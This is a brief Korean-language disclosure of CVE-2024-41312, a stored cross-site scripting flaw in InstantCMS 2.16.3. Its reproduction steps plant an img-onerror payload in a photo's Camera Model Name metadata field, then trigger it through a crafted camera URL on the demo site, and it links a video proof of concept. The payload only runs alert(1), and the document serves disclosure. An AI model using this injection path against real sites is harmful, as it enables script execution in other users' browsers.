CVE-2024-41312.
InstantCMS - 저장형 크로스 사이트 스크립팅 (XSS)
영향받는 버전: InstantCMS 2.16.3
재현 단계:
- 데모 사용자로 https://demo.instantcms.io에 로그인합니다.
- https://demo.instantcms.io/photos/upload를 방문합니다.
- Camera Model Name 메타데이터 필드에 페이로드 테스트
<img src="https://raw.githubusercontent.com/amal264882/cve-2024-41312./HEAD/asd" onerror="alert(1)">가 포함된 이미지를 업로드합니다.
- https://demo.instantcms.io/photos/camera-{payload}를 방문합니다.
- 예시: https://demo.instantcms.io/photos/camera-Amal_Test%3Cimg+src=%22asd%22+onerror=%22alert(1)%22%3E
- XSS 페이로드가 즉시 실행되는 것을 확인할 수 있습니다.
POC:
<a href=https://d.pr/v/DT8Gve> 동영상 PoC